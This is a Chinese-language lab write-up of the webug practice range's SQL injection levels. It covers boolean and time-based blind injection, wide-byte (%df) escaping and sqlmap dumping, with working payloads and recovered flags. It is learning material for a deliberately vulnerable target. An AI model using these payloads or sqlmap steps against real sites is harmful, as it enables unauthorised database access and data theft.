webug笔记——注入

一、布尔注入

id=1‘’or 1=1–+
这里存在注入点
webug笔记——注入_第1张图片
id=1’order by 3–+
利用order by判断字段
Order by 3的时候页面发生变化。
webug笔记——注入_第2张图片
所以应该是有两个可以显示的地方。

利用left()函数判断数据库名,先判断数据库名长度

webug笔记——注入_第3张图片
大于5的时候页面发生变化,说明数据库名长度应该是5.
id=1’ and left(database(),1)>‘w’–+
webug笔记——注入_第4张图片
猜测出数据库名的第一个字符是w
webug笔记——注入_第5张图片
前两个是we,这样逐步猜测出数据库名是webug.

查看当前数据库表

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))>100–+
webug笔记——注入_第6张图片
大于100的时候页面发生变化,第一个字符是d
这样就爆出了webug库中的第一个表的第一个字符。判断第二个字符用就是修改为substr(***,2,1)
webug笔记——注入_第7张图片
前两个字符就是da 这样逐步爆出表名
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
Flag不在flag表里面,要去爆env_list表
id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 0,1),1,1))>105%23
webug笔记——注入_第8张图片
这样爆出所有的列名
env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
看看第一关的flag是不是在envFlag里面。
id=1’ and substr((select envFlag from env_list where id=1 limit 0,1),1,16)=‘dfafdasfafdsadfa’%23
webug笔记——注入_第9张图片
页面无变化,说明正确,第一关的flag确实在里面。
那么通过 修改id=2 可以逐步爆出第二关的密码
webug笔记——注入_第10张图片
然后通过修改substr(***,2,1)得到flag的第二个字符是d
后得出flag:fdsafsdfa

手工一点点做太麻烦了,可以用burp刷

webug笔记——注入_第11张图片
webug笔记——注入_第12张图片

在查询到几个表和表名长度后:
第一个表长9个字符
;2–8;3–8;4–4;5–12;6–4;7–9
爆破表名:
?id=1’ and (substr((select table_name from information_schema.tables
where table_schema=‘webug’ limit 0,1),1,1))=‘b’–+
webug笔记——注入_第13张图片
第一个位置表示第几个表,第二个位置表示表名的第几个字段,第三个位置就是要匹配的字段。
webug笔记——注入_第14张图片
得出第一个表名的第一个字母为d。
最后得出表名:
data_crud;env_list;env_path;flag;sqlinjection;user;user_test。
之后都类似

二、post注入

post注入是通过对输入框进行传参,可以被带入数据库进行的查询

注入的两个条件:
1.用户可以控制传参,
2.用户输入的语句被带入数据库进行查询
webug笔记——注入_第15张图片
通过对输入框进行元素审查,发现请求类型是post类型
在输入框输入1’报错,1’#返回正常
webug笔记——注入_第16张图片
说明页面可能存在注入点。
先随便提交一个东西,然后f12
webug笔记——注入_第17张图片
在网络里面找到post,然后点开,在参数里面可以看到这个输入点是keyWordName。
webug笔记——注入_第18张图片
输入1’页面报错,输入1’#页面正常。
webug笔记——注入_第19张图片
webug笔记——注入_第20张图片
webug笔记——注入_第21张图片
webug笔记——注入_第22张图片
说明列数为2.通过对注入类型不断尝试,发现可以使用延时注入进行爆破。

  • 先进行数据库名长度的爆破:

keyWordName=1’ or if(length(database())>4,sleep(3),1)#有延时,通过修改大于号后面的数字判断出数据库名的长度为5

  • 判断数据库名称:

keyWordName=1’ or if(ascii(substr(database(),1,1))>97,sleep(3),1)#,有延时
逐步判断出数据库名的第一个字符为w
webug笔记——注入_第23张图片
通过修改箭头部分来判断所有的数据库名。

  • 然后判断数据库里面表的个数:

keyWordName=1’ or if((select count(table_name)from information_schema.tables where table_schema=database())>6,sleep(3),1)#有延时,而>7没有延时。
判断出有7个表。

  • 判断每个表名的长度:

keyWordName=1’ or if(length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))>2,
sleep(5),1) #
判断出第一个表名的长度是9个字符
webug笔记——注入_第24张图片
标记错了,应该是修改limit 0,1,limit i,1.这样能得出第i个表的长度
webug笔记——注入_第25张图片
那么第6个表长度为4可能就是flag
webug笔记——注入_第26张图片
第6个表的第一个字符是u,可能是user,不是flag表。

手工注入不下去了。。

  • 用sqlmap跑,先用burpsuite拦一下包

webug笔记——注入_第27张图片

  • 把这个保存到txt,这里我放到了根目录下

webug笔记——注入_第28张图片

  • Sqlmap -r ”~/a.txt” --dbs是爆出所有的数据库

webug笔记——注入_第29张图片

  • Sqlmap -r “~/a.txt”-D webug --tables 爆出webug下所有的表

webug笔记——注入_第30张图片

  • 接下来就要爆表中的数据了

sqlmap -r “a.txt” -D webug -T flag --columns
webug笔记——注入_第31张图片

  • 获取flag列中的内容:

sqlmap -r a.txt -D webug -T flag -C “flag” --dump --batch
–batch就是自动默认之后你要选的选项。
webug笔记——注入_第32张图片
看到结果应该是爆错了表,这应该是第一关的flag.那就继续爆别的表 env_list
webug笔记——注入_第33张图片
好像爆出了所有的flag…
webug笔记——注入_第34张图片

三、过滤注入

对select的大小写都屏蔽了。

webug笔记——注入_第35张图片
但发现单独把select写出来才会被屏蔽,放在payload里面也并没有被屏蔽掉,此题过滤相当于无,注入方法和布尔注入一致。。

三、宽字节注入

参考链接

addslashes() 函数会对括号里 (’) 、(")、 ()、 (NULL)、的四个字符添加反斜杠并将其返回。
如果SQL输入经过了addslashes() 函数处理,我们输入’ 时 会变成 \’。一般绕过的方法有两种

  1. 将 ’ 前面的 斜杠 进行转义 \’ 这样单引号就能绕过,逃逸出来
  2. 想办法去掉前面的\

Mysql有一个特性,在进行GBK编码时会将两个字符认为一个汉字(前提是第一个字符的ASCII大于128才能达到汉字范围)。
简单理解,数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入,常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS

在网址后加%df’,(%df转为10进制是223,大于128)
webug笔记——注入_第36张图片
单引号变成了\’,\的十六进制是%5c,程序的默认字符集如果是以上提到过的字符集,Mysql可能会认为%df%5c是一个宽字符,使得单引号逃逸出来了。
接下去的注入过程就是简单的显错注入的过程了。

数据库名

webug笔记——注入_第37张图片
爆出数据库名:information_schema mysql performance_schema webug webug_sys webug_width_byte

表名

webug笔记——注入_第38张图片
在table_schema这里直接用数据库名,会报错,因为识别不了,需要将其转换为十六进制形式,用bp 的decode板块就能实现。
webug笔记——注入_第39张图片
表名:sqlinjection storage_xss

列名

爆sqlinjection 表
webug笔记——注入_第40张图片
是空值,所以应该不在这个表中。通过看攻略,发现flag在webug库下的env_list表中
webug笔记——注入_第41张图片
表里有 id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
webug笔记——注入_第42张图片
flag:dfsadfsadfas
现在才得出经验,所有的flag都在env_list表中,通过Id来获取。通过之前用sqlmap爆破注入也能看出来

四、xxe注入

xxe:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)

……

你可能感兴趣的:(靶场)